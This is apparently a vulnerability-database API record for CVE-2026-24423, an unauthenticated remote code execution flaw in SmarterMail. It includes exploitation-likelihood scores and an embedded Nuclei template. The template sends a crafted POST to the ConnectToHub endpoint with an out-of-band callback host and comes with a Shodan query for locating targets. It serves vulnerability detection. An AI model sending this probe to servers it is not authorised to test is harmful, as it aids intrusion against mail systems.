{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-24423/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-24423/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-24423/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-24423/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-24423/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-24423"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-24423"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.88177,
      "kev": true,
      "percentile": 0.99761
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-24423.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2026-24423\n\ninfo:\n  name: SmarterMail - Remote Code Execution\n  author: jyoti369\n  severity: critical\n  description: |\n    SmarterTools SmarterMail < build 9511 contains an unauthenticated remote code execution caused by malicious OS command execution via ConnectToHub API method, letting remote attackers execute arbitrary commands, exploit requires no authentication.\n  impact: |\n    Remote attackers can execute arbitrary OS commands, potentially leading to full system compromise.\n  remediation: |\n    Update to build 9511 or later.\n  reference:\n    - https://www.vulncheck.com/blog/smartermail-connecttohub-rce-cve-2026-24423\n    - https://code-white.com/public-vulnerability-list/\n    - https://www.smartertools.com/smartermail/release-notes/current\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-24423\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-24423\n    epss-score: 0.88177\n    epss-percentile: 0.99761\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: html:\"SmarterMail\"\n  tags: cve,cve2026,smartermail,rce,oast,kev,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /api/v1/settings/sysadmin/connect-to-hub HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"hubAddress\":\"http://{{interactsh-url}}\",\"oneTimePassword\":\"{{randstr}}\",\"nodeName\":\"{{randstr}}\"}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"setup-initial-connection\"\n# digest: 4a0a00473045022100f13dbe671ead2bb578255f2d13e62ffd0337ee9645596bfb055d52dd1ada8bff02201c42127139edae8e9a51f37116e5e293c4671a86e70f57e8aea30bde39ac8d77:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-24423"
}